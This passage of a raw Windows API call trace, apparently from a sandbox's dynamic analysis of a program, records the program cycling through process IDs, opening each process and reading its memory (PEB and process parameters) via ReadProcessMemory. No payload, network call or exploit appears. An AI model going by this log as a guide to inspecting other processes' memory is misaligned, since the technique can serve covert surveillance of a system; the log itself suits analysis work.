dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.729] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.850] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x464 [0298.850] GetLastError () returned 0x0 [0298.851] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.851] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.851] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.851] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x791cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.851] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7918f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.852] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0298.854] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0298.854] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x598020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0298.855] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0298.855] malloc (_Size=0x5e) returned 0x196ef0d0680 [0298.855] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x79194e, lpBuffer=0x196ef0d0680, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0298.855] free (_Block=0x196ef0d0680) [0298.856] CloseHandle (hObject=0x464) returned 1 [0298.857] _ui64tow_s (in: _Value=0x1074, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4212") returned 0x0 [0298.862] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4212") returned 4 [0298.863] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0298.863] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0298.897] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1074) returned 0x464 [0298.898] GetLastError () returned 0x0 [0298.898] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0298.898] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0298.898] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0298.899] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0298.899] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0298.900] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.170] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.170] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.170] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.170] malloc (_Size=0x9c) returned 0x196ef0d6e60 [0299.171] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46198c, lpBuffer=0x196ef0d6e60, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6e60*, lpNumberOfBytesRead=0x0) returned 1 [0299.171] free (_Block=0x196ef0d6e60) [0299.172] CloseHandle (hObject=0x464) returned 1 [0299.173] _ui64tow_s (in: _Value=0x10b0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4272") returned 0x0 [0299.177] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4272") returned 4 [0299.178] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.178] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.194] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b0) returned 0x464 [0299.194] GetLastError () returned 0x0 [0299.194] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.194] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.195] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.195] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491e40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.195] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4919f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.196] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.197] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.198] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x256020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.198] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4913e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.198] malloc (_Size=0xbc) returned 0x196ef0d4e70 [0299.244] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491a64, lpBuffer=0x196ef0d4e70, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0299.245] free (_Block=0x196ef0d4e70) [0299.246] CloseHandle (hObject=0x464) returned 1 [0299.246] _ui64tow_s (in: _Value=0x1120, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4384") returned 0x0 [0299.252] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4384") returned 4 [0299.253] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.253] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.273] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1120) returned 0x464 [0299.273] GetLastError () returned 0x0 [0299.274] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761bd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.274] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761818, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.276] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.321] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.321] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x670db0020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.321] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.321] malloc (_Size=0x76) returned 0x196ef0d2120 [0299.321] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x196ee761864, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0299.322] free (_Block=0x196ef0d2120) [0299.322] CloseHandle (hObject=0x464) returned 1 [0299.323] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0299.328] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="5084") returned 4 [0299.329] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.329] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.347] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0299.347] CloseHandle (hObject=0x0) returned 0 [0299.348] _ui64tow_s (in: _Value=0x1334, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4916") returned 0x0 [0299.351] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4916") returned 4 [0299.353] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.353] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.415] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1334) returned 0x464 [0299.415] GetLastError () returned 0x0 [0299.416] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.416] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.416] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.416] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.416] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618c8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.418] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.419] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x239020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.420] malloc (_Size=0x78) returned 0x196ef0d2120 [0299.420] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56193a, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0299.420] free (_Block=0x196ef0d2120) [0299.421] CloseHandle (hObject=0x464) returned 1 [0299.422] _ui64tow_s (in: _Value=0xac8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2760") returned 0x0 [0299.426] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2760") returned 4 [0299.428] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.428] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.459] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x464 [0299.459] GetLastError () returned 0x0 [0299.460] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.460] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.460] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.460] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.460] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.462] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.463] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.464] malloc (_Size=0x48) returned 0x196ef0fbd10 [0299.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46190e, lpBuffer=0x196ef0fbd10, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbd10*, lpNumberOfBytesRead=0x0) returned 1 [0299.465] free (_Block=0x196ef0fbd10) [0299.466] CloseHandle (hObject=0x464) returned 1 [0299.467] _ui64tow_s (in: _Value=0x1344, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0299.474] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4932") returned 4 [0299.476] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.476] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x464 [0299.505] GetLastError () returned 0x0 [0299.505] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.506] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181c40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.506] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1818c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.507] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.508] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.508] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.508] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1812b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0299.508] malloc (_Size=0x42) returned 0x196ef0fba90 [0299.508] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181908, lpBuffer=0x196ef0fba90, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fba90*, lpNumberOfBytesRead=0x0) returned 1 [0299.509] free (_Block=0x196ef0fba90) [0299.510] CloseHandle (hObject=0x464) returned 1 [0299.510] _ui64tow_s (in: _Value=0x3e4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="996") returned 0x0 [0299.514] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="996") returned 3 [0299.515] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0299.516] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0299.582] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3e4) returned 0x464 [0299.582] GetLastError () returned 0x0 [0299.583] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0299.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0299.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0299.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0299.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b18c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0299.584] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0299.586] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0299.586] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0299.586] 